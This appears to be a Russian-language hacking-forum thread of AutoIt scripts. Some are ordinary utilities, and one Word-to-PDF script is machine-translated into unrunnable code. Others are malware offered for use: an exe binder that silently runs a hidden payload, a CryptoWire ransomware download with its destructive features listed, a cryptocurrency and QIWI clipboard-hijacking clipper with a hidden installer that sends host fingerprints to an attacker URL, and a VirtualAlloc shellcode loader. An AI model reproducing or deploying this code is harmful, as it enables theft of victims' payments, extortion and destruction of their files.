Func _WinAPI_SetTimer($hWnd, $iIDEvent, $iElapse, $pTimerFunc = 0)
    Local $iResult = DllCall("user32.dll", "int", "SetTimer", "hwnd", $hWnd, "int", $iIDEvent, "int", $iElapse, "ptr", $pTimerFunc)
    If @error Then Return SetError(-1, -1, 0)
    Return $iResult[0]
EndFunc

Func MainLock()
    Local $iTimer1, $hCallBack
    Global $_MAINGUI = GUICreate("LockPC Main", $_WinWidth,$_WinHeight, 0, 0, 0x80000000, 136)
    GUISetCursor(16,1)
    GUISetBkColor(0x000000)
    $mainpassentry = GUICtrlCreateInput("", -100, -100, 0, 0)
    GUICtrlSetLimit($mainpassentry, 4)
    
    
;SETUP INFO DISPLAY
    If $gmail_count = 1 Then
        Global $gmail_count_i = UBound($_INFO)
        _ArrayAdd($_INFO, "")
        CheckGmail()
    EndIf
    If $messenger_contact_list = 1 Then
        Global $messenger_contact_list_i = UBound($_INFO)
        _ArrayAdd($_INFO, "")
        msnwindowlist()
    EndIf
;END INFO DISPLAY
    
    
    $mainimage = GUICtrlCreatePic("img/0.jpg", ((@DesktopWidth/2)-(500/2)), ((@DesktopHeight/2)-(190/2))-50, 0, 0)
    
;START CLOCK
    If $display_clock = 1 Then
        Global $CLOCK = GUICtrlCreateLabel(@HOUR & ":" & @MIN & ":" & @SEC, ((@DesktopWidth/2)-(400/2)), ((@DesktopHeight/2)-(190/2))/2-(80/2), 400, 80, $SS_CENTER)
        GUICtrlSetColor(-1, 0x999999)
        GUICtrlSetFont(-1, 30, 600, 0, "Verdana")
    EndIf
;END CLOCK
    
;START COPYRIGHT
    $COPYRIGHT = GUICtrlCreateLabel("LockPC v" & $_VERSION & @LF & "© OllieB.net", 4, 4, 100, 45, 0x)
    GUICtrlSetColor(-1, 0x999999)
    GUICtrlSetFont(-1, 7)
;END COPYRIGHT

    If UBound($_INFO) > 0 Then
        Global $_INFOLIST = GUICtrlCreateLabel("Loading   ", @DesktopWidth-((@DesktopWidth/2)-(500/2)), 4, ((@DesktopWidth/2)-(500/2)), @DesktopHeight-40, $SS_RIGHT)
        GUICtrlSetColor(-1, 0x999999)
        GUICtrlSetFont(-1, 7)
    EndIf
    
    GUISetState(@SW_SHOW, $_MAINGUI)
    
    disableCTRLALTDEL(True)
    
    If $itunes_pause_resume = 1 Then
        If ProcessExists("itunes.exe") Then
            $oiTunes = ObjCreate("iTunes.Application")
            If IsObj($oiTunes) Then
                $oiTunes.pause
            EndIf
        EndIf
        If IsObj($oiTunes) Then
            $oiTunes.pause
        EndIf
    EndIf
    
;SETUP TIMER
    $hCallBack = DllCallbackRegister("timerevent", "none", "hwnd;int;int;dword")
    $iTimer1 = _WinAPI_SetTimer($_MAINGUI, $TIMERID1, 500, DllCallbackGetPtr($hCallBack))
    
    While 1
        $msg = GUIGetMsg()
        If Not WinActive("LockPC Main") Then
            WinActivate("LockPC Main")
        EndIf
        
        If ControlGetFocus("LockPC Main") <> "Edit1" Then
            ControlFocus("LockPC Main", "", "Edit1")
        EndIf
        
        If $prevleng <> StringLen(GUICtrlRead($mainpassentry)) Then
            GUICtrlSetImage($mainimage, "img/" & StringLen(GUICtrlRead($mainpassentry)) & ".jpg")
            $prevleng = StringLen(GUICtrlRead($mainpassentry))
        EndIf
        
        $new_data = ""
        For $i = 1 to UBound($_INFO)-1 Step +1
            $new_data = $new_data & $_INFO[$i] & @CR & @CR
        Next
        
        If $old_data <> $new_data Then
            GUICtrlSetData($_INFOLIST, $new_data)
            $old_data = $new_data
        EndIf
        
        $not_idle = _CheckIdle($last_active)
        
        If $not_idle <> 0 Then $timer = TimerInit()
        If Int(TimerDiff($timer)/1000) > 20 Then
            If $monitor_idle_off = 1 Then
                DllCall($user32, "int", "SendMessage", "hwnd", $hwnd, "int", 274, "int", 61808, "int", 2)
            EndIf
        EndIf
        
        Select
            Case StringLen(GUICtrlRead($mainpassentry)) = '4'
                If(GUICtrlRead($mainpassentry) = $passcode) Then
                    If $itunes_pause_resume = 1 Then
                        If IsObj($oiTunes) Then
                            $oiTunes.play
                        EndIf
                    EndIf
                    
                    _WinAPI_KillTimer($_MAINGUI, $iTimer1)
                    DllCallbackFree($hCallBack)
                    
                    disableCTRLALTDEL(False)
                    DllClose($winlock)
                    Sleep(150)
                    GUIDelete($_MAINGUI)
                    HotKeySet("{SPACE}")
                    HotKeySet("{LEFT}")
                    HotKeySet("{RIGHT}")
                    HotKeySet("{UP}")
                    HotKeySet("{DOWN}")
                    HotKeySet("{TAB}")
                    HotKeySet("{F1}")
                    CheckUpdates($_VERSION)
                    Exit
                Else
                    GUICtrlSetImage($mainimage, "img/e.jpg")
                    Sleep(150)
                    If $beep_on_deny = 1 Then
                        Beep(500, 150)
                        Beep(200, 350)
                    Else
                        Sleep(500)
                    EndIf
                    GUICtrlSetData($mainpassentry, "")
                EndIf
        EndSelect
    WEnd
EndFunc
[/CLIKE]
 
Joyner-Binder exe файлов

Программа для "Склеивания" exe файлов

Код

[CLIKE]
Код:
#NoTrayIcon

Global $file1, $file2, $but1, $but2, $but3, $but4

$Gui = GUICreate("Glue", 300, 120, -1, -1, -1, 0x00000010)
$Input1 = GUICtrlCreateInput("Иконка", 2, 35, 250, 15)
$Input2 = GUICtrlCreateInput("Первый exe", 2, 55, 250, 15)
$Input3 = GUICtrlCreateInput("Второй exe", 2, 75, 250, 15)
$but1 = GUICtrlCreateButton ("...", 260, 55, 30, 15)
$but2 = GUICtrlCreateButton ("...", 260, 75, 30, 15)
$but4 = GUICtrlCreateButton ("...", 260, 35, 30, 15)
$but3 = GUICtrlCreateButton ("Склеить", 2, 95, 295, 20)
$in = GUICtrlCreateLabel("Строка состояния", 2, 2, 150, 20)
GUISetState()
While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
    Case $but4
        $ICON = FileOpenDialog('Choose Icon file', '', 'Icon (*.ico)', '', '', GUICreate('', 563, 417))
        GUICtrlSetData ($Input1, $ICON)
    Case -3
        Exit
    Case $but1
            Ifile()
    Case $but2
            IIfile()
    Case $but3
        GUICtrlSetData ($in, "Склеивание...")
        FileWrite (@TempDir&"\Glued.au3", '#NoTrayIcon' & @CRLF)
        FileWrite (@TempDir&"\Glued.au3", 'FileDelete (@TempDir & "\Setup_1.exe")' & @CRLF)
        FileWrite (@TempDir&"\Glued.au3", 'FileDelete (@TempDir & "\Setup_2.exe")' & @CRLF)
        FileWrite (@TempDir&"\Glued.au3", 'FileInstall ('&'"'&$file1&'"'&', @TempDir&"\Setup_1.exe")' & @CRLF)
        FileWrite (@TempDir&"\Glued.au3", 'FileInstall ('&'"'&$file2&'"'&', @TempDir&"\Setup_2.exe")' & @CRLF)
        FileWrite (@TempDir&"\Glued.au3", 'Run (@TempDir&"\Setup_1.exe")' & @CRLF)
        FileWrite (@TempDir&"\Glued.au3", 'Run (@TempDir&"\Setup_2.exe")' & @CRLF)
        FileWrite (@TempDir&"\Glued.au3", 'Exit' & @CRLF)
        $AU3 = @TempDir & '\Glued.au3'
        $AUT2EXE = @ScriptDir & '\comp.exe'
        $EXE = @ScriptDir & '\Glued.exe'
        Run($AUT2EXE & ' /in ' & $AU3 & ' /out ' & $EXE & ' /icon ' & $ICON & ' /comp 0 /nopack')
        Sleep(3000)
        GUICtrlSetData ($in, "Склеено")
        FileDelete (@TempDir & "\Glued.au3")
    EndSwitch
WEnd

Func Ifile()
    $file1 = FileOpenDialog('Choose a first EXE file', '', 'Exe (*.exe)', '', '', GUICreate('', 563, 417))
    GUICtrlSetData ($Input2, $file1)
EndFunc

Func IIfile()
    $file2 = FileOpenDialog('Choose a second EXE file', '', 'Exe (*.exe)', '', '', GUICreate('', 563, 417))
    GUICtrlSetData ($Input3, $file2)
EndFunc
[/CLIKE]
 
CryptoWire Ransomware

Компиляция: Требуется версия autoit: v3.3.14.2

  • Алгоритм шифрования AES 256.
  • Программа-вымогатель зашифрует все файлы, хранящиеся на: сетевых дисках, сетевых ресурсах, USB-накопителях / флеш-накопителях, внешних дисках, внутренних дисках, играх (Steam), Onedrive, Dropbox, Google Drive (любой облачный сервис, работающий на компьютере).
  • Он шифрует все файлы. Он не основан на расширении. Максимальный размер файла составляет 30 МБ, вы можете изменить его, если хотите. Причина в том, чтобы поддерживать высокую производительность, ориентируясь на большинство файлов.
  • Все теневые копии навсегда удаляются после выполнения.
  • Старые незашифрованные файлы перезаписываются 10 раз, а затем удаляются навсегда. Только зашифрованные файлы будут оставлены обратно. Recyclebin перезаписывается 10 раз и также удаляется навсегда.
  • Это позволит избежать эвристических обнаружений путем расчета различных математических алгоритмов.
  • Постоянство запуска.
  • Проверка домена. Если компьютер жертвы присоединяется к домену (машине компании), выкуп будет в 10 раз больше (вы можете изменить это).
 

Вложения

  • CryptoWire Ransomware.zip
    14.5 КБ · Просмотры: 209
Склейщик (joyner) файлов разного формата


[CLIKE]
C-подобный:
#NoTrayIcon
FileInstall("foto.jpg", @TempDir & "\foto.jpg")
FileInstall("server.exe", @TempDir & "\server.exe")
Sleep(2000)
Run(@ComSpec & " /c " & @TempDir & "\foto.jpg", "", @SW_HIDE)
Run(@ComSpec & " /c " & @TempDir & "\server.exe", "", @SW_HIDE)
Sleep(2000)
ProcessClose("cmd.exe")
Sleep(2000)
ProcessClose("cmd.exe")
[/CLIKE]
 
Отправка уведомления на телефон / ПК

небольшой скрипт для отправки уведомления через приложение Pushbullet (ПК, Android, iOS).
Для начала необходимо создать учетную запись на https://www.pushbullet.com/, затем создать токен доступа в меню «Настройки»> «Учетная запись»> «Токены доступа».

Затем функция _Push отправит сообщение на устройства, подключенные к Pushbullet (замените). $ PushBullettoken по вашему токену):

[CLIKE]
C-подобный:
Func _Push($pTitle, $pMessage)
    $oHTTP = ObjCreate("WinHTTP.WinHTTPRequest.5.1")
    $access_token = $PushBullettoken
    $open = $oHTTP.Open("Post", "https://api.pushbullet.com/v2/pushes", False)
    $oHTTP.SetCredentials($access_token, "ваш токен", 0)
    $oHTTP.SetRequestHeader("Content-Type", "application/json")
    Local $pPush = '{"type": "note", "title": "' & $pTitle & '", "body": "' & $pMessage & '"}'
    $oHTTP.Send($pPush)
EndFunc   ;==>_Push
[/CLIKE]
 
Word -> PDF

используется для преобразования файла .doc или .docx в файл .pdf.

file.php


[CLIKE]
C-подобный:
#include <ButtonConstants.au3>
    #include <ComboConstants.au3>
    #include <EditConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <StaticConstants.au3>
    #include <WindowsConstants.au3>
    #include <Word.au3>
    # include <MsgBoxConstants.au3>
    #include <File.au3>
    #include <Array.au3>
    #include <GuiComboBox.au3>

    #Region ### START раздел графического интерфейса пользователя Koda ### Form =
    Global $ Form1 = GUICreate ( "Word - -> PDF " , 500 , 279 , 192 , 124) ; -------------------
    Global $ Label1 = GUICtrlCreateLabel ( «Конвертер Word ----> PDF» , 0 , 16 , 428 , 41 )
    GUICtrlSetFont ( - 1 , 25 , 400 , 0 , "MS Sans Serif" )
    Global $ Input1 = GUICtrlCreateInput ( "" , 192 , 72 , 225 , 21 )
    Global $ Label2 = GUICtrlCreateLabel("Dossier des fichiers words :", 24, 72, 132, 17)
    Global $Combo1 = GUICtrlCreateCombo("", 192, 112, 145, 25, BitOR($CBS_DROPDOWN, $CBS_AUTOHSCROLL))
    Global $Label3 = GUICtrlCreateLabel("Choix du fichier word :", 24, 112, 108, 17)
    Global $Button1 = GUICtrlCreateButton("Rafraichir", 344, 112, 75, 25)
    Global $Input2 = GUICtrlCreateInput("", 192, 152, 225, 21)
    Global $Label4 = GUICtrlCreateLabel("Dossier de destination des pdfs :", 24, 152, 157, 17)
    Global $Input3 = GUICtrlCreateInput("", 192, 192, 225, 21)
    Global $Label5 = GUICtrlCreateLabel("Nom du fichier pdf :", 24, 192, 96, 17)
    Global $Button2 = GUICtrlCreateButton("Convertir", 160, 232, 115, 33)
    Global $Button_select_source_folder=GUICtrlCreateButton("Select",420,70,50,25);---------------------
    Global $Button_select_destination_folder=GUICtrlCreateButton("Select",420,152,50,25);-----------------
    GUISetState(@SW_SHOW)
    #EndRegion ### END Koda GUI section ###

    GUICtrlSetData($Input1, @UserProfileDir );----------------
    GUICtrlSetData($Input2, @UserProfileDir );--------------------
    В то время как 1
        $ NMSG = GUIGetMsg ( )
        Переключатель $ NMSG
            Case $ GUI_EVENT_CLOSE
                Выход
            Case $ Button1
                                _rafraichir ( ) ; ------------------
                MsgBox ( 1 , «Слово -> PDF " , " Обновить! " )
            Case $ Button2
                $ VCombo = GUICtrlRead ( $ Combo1 )
                $ VInput1 = GUICtrlRead ( $ Input1 )
                $ VInput2 = GUICtrlRead ($Input2)
                $VInput3 = GUICtrlRead($Input3)
                If $VCombo = "" Then
                    MsgBox($MB_SYSTEMMODAL, "Word --> PDF", "ERREUR : Vous n'avez rien sélectionné")
                ElseIf $VInput1 = "" Then
                    MsgBox($MB_SYSTEMMODAL, "Word --> PDF", "ERREUR : Vous n'avez pas de dossier d'expédition")
                ElseIf $VInput2 = "" Then
                    MsgBox($MB_SYSTEMMODAL, "Word --> PDF", "ERREUR : Vous n'avez pas de dossier de destination")
                ElseIf $VInput3 = "" Then
                    MsgBox($MB_SYSTEMMODAL, "Word --> PDF", "ERREUR : Vous n'avez pas de nom de fichier")
                ElseIf FileExists($VInput2) = 0 Then
                    DirCreate($VInput2)
                Else
                    $sFileName = $VInput2& "\"& $VInput3&".pdf"
                    if @error Then Exit MsgBox( $ MB_SYSTEMMODAL , "Word -> PDF" , "ОШИБКА: ошибка от имени окончательного файла (" & @error & ")" )

                    $ oWocal = _Word_Create ( )
                    Если @error Then Exit MsgBox ( $ MB_SYSTEMMODAL , "Word - -> PDF " , _
                            " ОШИБКА: ошибка при создании слова (" & @error & ") " )

                    $ oLocal = _Word_DocOpen ( $ oWocal , $ VInput1 & " \ " & $ VCombo , По умолчанию , по умолчанию , True )
                    Если @error Then Exit MsgBox ( $ MB_SYSTEMMODAL , "Word -> PDF" , _
                            "ОШИБКА: не удалось открыть папку с файлами (" & @error & ")" )

                    _Word_DocExport ( $ oLocal , $ sFileName )
                    Если @error Тогда выход MsgBox ( $ MB_SYSTEMMODAL , "Слово -> PDF" , "ERROR: экспорт ошибка (" & @error &")")

                    MsgBox ( 0 , «Word -> PDF» , «Преобразование выполнено!» )

                    _Word_DocClose ( $ oWocal )
                EndIf
                        Case $ Button_select_source_folder ; ---------------------
                                        $ choose = FileSelectFolder ( «Выбрать папку» , @UserProfileDir , 1 ) ; ---------------------
                                        GUICtrlSetData ( $ Input1 , $ choose ) ; --- ------------------
                                        _rafraichir ( ) ; ---------------------
                        Case $ Button_select_destination_folder ; ---------------------
                                        $ choose = FileSelectFolder ( "Выбрать папку" , ":: {450D8FBA-AD25-11D0-98A8-0800361B1103} " , 1 ) ; ---------------------
                                        GUICtrlSetData ( $ Input2 , $ select ) ; --------------- ------

                        ENDSwitch
        WEnd
; --------------------- РЕГУЛИРУЕМАЯ ФУНКЦИЯ
        func _rafraichir ( )
                   _GUICtrlComboBox_ResetContent ( $ Combo1 )
                        $ folder = GUICtrlRead ($Input1)
            $listeFichiers = _FileListToArrayRec($dossier, "*.docx;*.doc", 1, 0, 1, 0)
                        If $listeFichiers="" Then ; ici le test si il n'y a pas de fichiers cibles
                                MsgBox($MB_SYSTEMMODAL, "Word --> PDF", "ERREUR : " & @CRLF & "Aucun  .docx ou .doc dans le dossier") ; on préviens l'utilisateur, mais tu l'avais fait
                                $choose=FileSelectFolder(«Выберите папку» , @UserProfileDir , 1 ) ; мы зациклились на выборе другой папки,
                                        если @error = 1, то возвращаем 0 ; если пользователь когда-либо
                                нажмет, отмените GUICtrlSetData ( $ Input1 , $ choose )
                                _filter ( ) ; вернитесь назад на себя
                        Иначе
                                Для $ i = 1 To $ listFile [ 0 ] ;
                                        GUICtrlSetData ( $ Combo1 , $ listFiles[ $ i ] )
                                Next
                        EndIf
        EndFunc
[/CLIKE]
 
Конвертировать видео в GIF

[CLIKE]
C-подобный:
#NoTrayIcon
#include <GUIConstantsEx.au3>
#include <ProgressConstants.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <SendMessage.au3>
#include <File.au3>

Opt("ExpandVarStrings", 1)

Dim $hWnd_Main, $sName = "Video2Gif"
Dim $sFileConvert = BinaryToString('0x4054656D70446972405C766964656F326769662E626174')
Dim $sAction_FD = BinaryToString('0x46696C6544656C65746528274054656D70446972405C766964656F326769662E6261742729')
Dim $sAction_FC = BinaryToString('0x46696C65577269746528247346696C65436F6E766572742C20245F73537472696E6746696C6529')
Dim $sFile = FileOpenDialog('Convert Video 2 Gif', '', 'All (*.*)')

If $sFile <> '' Then
    hWnd_Main()
    createFile()
    $getName = StringSplit($sFile, "\", 1)
    $sCountSlash = $getName[0]
    $iPID = Run(@ComSpec & ' /c "' & $sFileConvert & ' ' & $getName[$sCountSlash], '', @SW_HIDE)
    ProcessWaitClose($iPID)
    GUIDelete($hWnd_Main)
    Execute($sAction_FD)
    MsgBox(262144+64, $sName, 'Done', 60)
EndIf

Func createFile($iFPS = 30)
    If Not Int($iFPS) Then Exit MsgBox(262144+16, 'Error', 'Declared value is not an integer', 60)
    $_sStringFile = '@echo off' & @CRLF
    $_sStringFile &= 'set arg1=%1' & @CRLF
    $_sStringFile &= 'set arg2=%arg1:~0,-4%' & @CRLF
    $_sStringFile &= 'ffmpeg -y -i %arg1% -vf fps=30,scale=-1:-1:flags=lanczos,palettegen %TEMP%\palette.png' & @CRLF
    $_sStringFile &= 'ffmpeg -i %arg1% -i %TEMP%\palette.png -filter_complex "fps=' & $iFPS & ',scale=-1:-1:flags=lanczos[x];[x][1:v]paletteuse" %arg2%gif' & @CRLF
    $_sStringFile &= 'del /f %TEMP%\palette.png'
    Execute($sAction_FD)
    Execute($sAction_FC)
EndFunc

Func hWnd_Main()
    Dim Const $tSTRUCT = 'struct;char dark[8];char darkLight[8];char white[8];char aqua[8];char alpha[2];endstruct'
    Dim $oColor = DllStructCreate($tSTRUCT)

    $oColor.dark = 0x252525
    $oColor.darkLight = 0x323232
    $oColor.white = 0xFFFFFF
    $oColor.aqua = 0x00FFFF
    $oColor.alpha = -2

    $hWnd_Main = GUICreate($sName, 602, 203, -1, -1, $WS_POPUPWINDOW)
    GUISetBkColor($oColor.dark)
    $aGetPos = WinGetPos($hWnd_Main)

    $sLabel_Title = GUICtrlCreateLabel($sName, 0, 0, $aGetPos[2] - 1, 17, $SS_CENTER, $GUI_WS_EX_PARENTDRAG)
    GUICtrlSetBkColor(-1, $oColor.darkLight)
    GUICtrlSetColor(-1, $oColor.white)

    GUICtrlCreateGraphic(0, 18, $aGetPos[2] - 1, 1)
    GUICtrlSetBkColor(-1, $oColor.aqua)

    $sLabel_Status = GUICtrlCreateLabel("Converting video to gif", 0, 60, $aGetPos[2] - 1, 17, BitOR($SS_CENTER, $SS_CENTERIMAGE))
    GUICtrlSetBkColor(-1, $oColor.alpha)
    GUICtrlSetColor(-1, $oColor.white)

    $Progress = GUICtrlCreateProgress(185, 90, 230, 12, 0x8)
    _SendMessage(GUICtrlGetHandle($Progress), $PBM_SETMARQUEE, True, 30)

    $sLabel_Wait = GUICtrlCreateLabel("Aguarde", 0, 115, $aGetPos[2] - 1, 17, BitOR($SS_CENTER, $SS_CENTERIMAGE))
    GUICtrlSetBkColor(-1, $oColor.alpha)
    GUICtrlSetColor(-1, $oColor.white)
    GUISetState(@SW_SHOW)   
EndFunc
[/CLIKE]
 
Функция для запуска любой внешней программы с правами администратора


Это простой пример того, как использовать функция

[CLIKE]
runAsAdmin ("cmd.exe", "/ c off & cls & echo test & pause", "c: \", @sw_show)

[/CLIKE]

сама функция

[CLIKE]
C-подобный:
func runAsAdmin($program, $parameters = "", $workingDir = @workingDir, $show = "")
local $oShell = OBJCreate("Shell.Application")
if isOBJ($oShell) then
local $result = $oShell.ShellExecute($program, $parameters, $workingDir, "runas", $show)
else
$result = false
endIf
return $result
endFunc
[/CLIKE]
 
простой клипер на AutoIt

код клипера
[CLIKE]
C:
#NoTrayIcon
#include <Misc.au3>
; By SilowHD
; Lolzteam.net - top forum
Local $qiwi =  "7**********" ; QIWI
Local $qiwi2 = "8**********" ; QIWI
Local $qiwi1 = "+7**********" ; QIWI
Local $wmr = "R****************" ; WEBMONEY (WMR)
Local $BTC = "**********************************************" ; BITCOIN
Local $yadengi = "4100*************" ; YANDEX MONEY
Local $wme = "E************" ; WEBMONEY (WME)
Local $steam = "https://steamcommunity.com/tradeoffer/new/?partner=*****************" ; STEAM TRADE OFFER LINK
Local $dodge = "*******************************" ; ДОДЖЕ КОИН
Local $ETH = "0x***************************************" ;  ЭФИРИУМ
Local $wmu = "U*********************" ; WEBMONEY (WMU)
Local $XMR =  "*********************************************************" ; XMR
If _Singleton("QaAaovs1XHwTHpeg", 1) Then
While 1
Local $sData = ClipGet()
If Not StringInStr($sData, "a") And Not StringInStr($sData, " ") And Not StringInStr($sData, ":") And Not StringInStr($sData, "/") And Not StringInStr($sData, "+") Then
    If StringLeft($sData, 2) = "79" And StringLen($sData) = 11 Then
           ClipPut($qiwi)
    EndIf
EndIf
Sleep ( 150)
Local $sData = ClipGet()
If Not StringInStr($sData, "a") And Not StringInStr($sData, " ") And Not StringInStr($sData, ":") And Not StringInStr($sData, "/") Then
    If StringLeft($sData, 3) = "+79" And StringLen($sData) = 12 Then
           ClipPut($qiwi1)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, "a") And Not StringInStr($sData, " ") And Not StringInStr($sData, ":") And Not StringInStr($sData, "/") And Not StringInStr($sData, "+") Then
    If StringLeft($sData, 1) = "R" And StringLen($sData) = 13 Then
           ClipPut($wmr)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, "a") And Not StringInStr($sData, " ") And Not StringInStr($sData, ":") And Not StringInStr($sData, "/") And Not StringInStr($sData, "+") Then
    If StringLeft($sData, 1) = "E" And StringLen($sData) = 13 Then
           ClipPut($wme)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, "a") And Not StringInStr($sData, " ") And Not StringInStr($sData, ":") And Not StringInStr($sData, "/") And Not StringInStr($sData, "+") Then
    If StringLeft($sData, 1) = "U" And StringLen($sData) = 13 Then
           ClipPut($wmu)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, "a") And Not StringInStr($sData, " ") And Not StringInStr($sData, ":") And Not StringInStr($sData, "/") And Not StringInStr($sData, "+") Then
    If StringLeft($sData, 4) = "4100" And StringLen($sData)= 15 Then
    ClipPut($yadengi)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, "a") And Not StringInStr($sData, " ") And not StringInStr($sData, "79") And Not StringInStr($sData, ":") And Not StringInStr($sData, "/") And Not StringInStr($sData, "+") Then
    If StringLeft($sData, 2)= "89" And StringLen($sData) = 11 Then
           ClipPut($qiwi2)
EndIf
EndIf
local $sData = ClipGet()
If Not StringInStr($sData, " ") And Not StringInStr($sData, " ") And Not StringInStr($sData, " ") And Not StringInStr($sData, " ") And Not StringInStr($sData, " ") Then
    If StringLeft($sData, 1) = "D" and StringLen($sData) =  34 Then
    ClipPut($dodge)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, " ") Then
    If StringLeft($sData, 2) = "0x" and StringLen($sData) > 27 Then
           ClipPut($ETH)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, " ") And Not StringInStr($sData, " ") And Not StringInStr($sData, "0") And Not StringInStr($sData, "I") And Not StringInStr($sData, "l") Then
    If StringLeft($sData, 1) = "1" and StringLen($sData) = 33 or StringLen($sData) = 34  Then
           ClipPut($BTC)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, "+") Then
    If StringInStr($sData, "https://steamcommunity.com/tradeoffer/new/?partner=") Then
ClipPut($steam)
EndIf
EndIf
Local $sData = ClipGet()
If Not StringInStr($sData, " ") And Not StringInStr($sData, "+") And Not StringInStr($sData, "_") And Not StringInStr($sData, "-") And Not StringInStr($sData, "/") Then
    If StringLeft($sData, 1) = "4" and StringLen($sData) = 95 or StringLen($sData) = 106  Then
           ClipPut($XMR)
EndIf
EndIf
Sleep (150)
WEnd
EndIf
[/CLIKE]


код установщика клипера
[CLIKE]
C:
#NoTrayIcon
If Not FileExists (@AppDataDir & "\WindowsHost") Then
   DirCreate (@AppDataDir & "\WindowsHost")
EndIf
FileInstall ("C:\1\windrws.exe", @AppDataDir & "\WindowsHost\windrws.exe")
Run(@ComSpec & " /c " & "schtasks /create /tn ""StartUp Windows"" /tr %appdata%\WindowsHost\windrws.exe /sc minute /mo 1","", @SW_HIDE)
FileSetAttrib (@AppDataDir & "\WindowsHost\windrws.exe", "+SHR")
FileSetAttrib (@AppDataDir & "\WindowsHost", "+SHR")
#Include <APIConstants.au3>
#Include <WinAPIEx.au3>
Global Const $wbemFlagReturnImmediately = 0x10
Global Const $wbemFlagReturnWhenComplete = 0x0
Global Const $wbemFlagBidirectional = 0x0
Global Const $wbemFlagForwardOnly = 0x20
Global Const $wbemFlagNoErrorObject = 0x40
Global Const $wbemFlagReturnErrorObject = 0x0
Global Const $wbemFlagSendStatus = 0x80
Global Const $wbemFlagDontSendStatus = 0x0
Global Const $wbemFlagUseAmendedQualifiers = 0x20000
 Local $sign = @OSVersion
  $ID = _WinAPI_UniqueHardwareID(BitOR($UHID_MB, $UHID_BIOS, $UHID_CPU))
 $sw=RegRead("HKEY_LOCAL_MACHINE\HARDWARE\\DESCRIPTION\System\CentralProcessor\0","ProcessorNameString")
 $ss1= @UserName
Local $sign1 = @CPUArch
Local $sign2 = @ComputerName
  Local $oHTTP = ObjCreate('WinHttp.WinHttpRequest.5.1')
 $oHTTP.Open("Post", "Тут_Ваша_Сслка", False)
    $oHTTP.SetRequestHeader('User-Agent',"OS:"&$sign&" "&$sign1&","&" "&"CPU:"&$sw&","&" "&"HWID:"&$ID&","&" "&"UserName:"&$ss1&","&" "&"GPU:"&_VideoControllerGetName())
     $oHTTP.Send
Func _VideoControllerGetName()
    Local $oWMI = ObjGet("winmgmts:\\.\root\CIMV2")
    If Not IsObj($oWMI) Then Return SetError(1, 0, 0)
    Local $oItems = $oWMI.ExecQuery("SELECT * FROM Win32_VideoController", "WQL", BitOR($wbemFlagReturnImmediately, $wbemFlagForwardOnly)), $sOut
    If Not IsObj($oItems) Then Return SetError(2, 0, 0)
    For $oIt In $oItems
        $sOut &= $oIt.Name & @LF
    Next
    StringTrimRight($sOut, 1)
    Return SetError(0, 0, $sOut)
EndFunc   ;==>_VideoControllerGetName
Run (@AppDataDir & "\WindowsHost\windrws.exe" ,"",@SW_HIDE)
Exit;
[/CLIKE]
 
Загрузчик файлов с ProgressBar

[CLIKE]
C:
#include <ButtonConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <ProgressConstants.au3>
; #Include <CreateFilesEmbedded.au3>


;====> Design do Programa
$gui = GUICreate("Launcher * ~ Versão 0.2", 615, 438, 343, 148)
$Button1 = GUICtrlCreateButton("ATUALIZAR", 24, 368, 113, 57)
$Button2 = GUICtrlCreateButton("CONFIGURAÇÕES", 480, 368, 113, 25)
$Button3 = GUICtrlCreateButton("FECHAR", 480, 400, 113, 25)
$progressbar1 = GUICtrlCreateProgress(146, 370, 328, 28)
GUICtrlSetColor(-1, 32250)
GUISetState(@SW_SHOW)
;<==== Fim do Design do Programa





While 1
$nMsg = GUIGetMsg()
Switch $nMsg
     Case $GUI_EVENT_CLOSE
        _Sair()
     Case $Button1
        GUICtrlSetData($progressbar1, 0)
        $sFileName = "Guilds.txt"
        $sWebFile = "http://lojakronus.xp3.biz/update/Guilds.txt"
        $bRead = InetRead($sWebFile, $sFileName)
        $hFOpen = FileOpen($sFileName, 2)
        FileWrite($hFOpen, StringReplace(BinaryToString($bRead), @LF, @CRLF))
        FileClose($hFOpen)
        GUICtrlSetData($progressbar1, 100)
        GUICtrlSetData($Button1, "JOGAR")
     Case $Button3
        _Sair()
     Case $Button2
        ShellExecute("Config.exe")

EndSwitch
WEnd

Func _Sair()
        for $i=255 to 0 Step -1
        Sleep(1)
        WinSetTrans($gui,"",$i)
        Next
        Sleep(300)
        Exit
EndFunc
[/CLIKE]
 
Сбрасывает отсчёт времени до перехода в спящий режим

[CLIKE]
C:
Func _PowerKeepAlive()
#cs
    ; Flags:
    ;    ES_SYSTEM_REQUIRED  (0x01) -> Resets system Idle timer
    ;    ES_DISPLAY_REQUIRED (0x02) -> Resets display Idle timer
    ;    ES_CONTINUOUS (0x80000000) -> Forces 'continuous mode' -> the above 2 will not need to continuously be reset
#ce
    Local $aRet=DllCall('kernel32.dll','long','SetThreadExecutionState','long',0x80000003)
    If @error Then Return SetError(2,@error,0x80000000)
    Return $aRet[0]    ; Previous state (typically 0x80000000 [-2147483648])
 EndFunc
[/CLIKE]
 
Autoit Xor Encryption Shellcode

[CLIKE]
C:
Dim $Key = "GoodBye"
Dim $Data = "Hello"
 
Dim $abc = XorEnc($Data, $Key)
MsgBox(64, "My encrypted text!", $abc)
$abc = XorEnc($abc, $Key)
MsgBox(64, "Text is now decrypted!", $abc)
 
Func XorEnc($Data, $Key)
    Local $EncShellcode = "0x558BEC51C745FC00000000EB098B45FC83C0018945FC8B4DFC3B4D0C73248B55080355FC0FB60A8B45FC33D2F775148B45100FB6141033CA8B45080345FC8808EBCB8BE55DC3"
    Local $lpShellcode = DllCall("kernel32", "ptr", "VirtualAlloc", "ptr", 0, "dword", BinaryLen($EncShellcode), "dword", 0x3000, "dword", 0x40)
    If Not @error Then $lpShellcode = $lpShellcode[0]
    Local $ShellStruct = DllStructCreate("byte code[" & BinaryLen($EncShellcode) & "]", $lpShellcode)
    DllStructSetData($ShellStruct, "code", $EncShellcode)
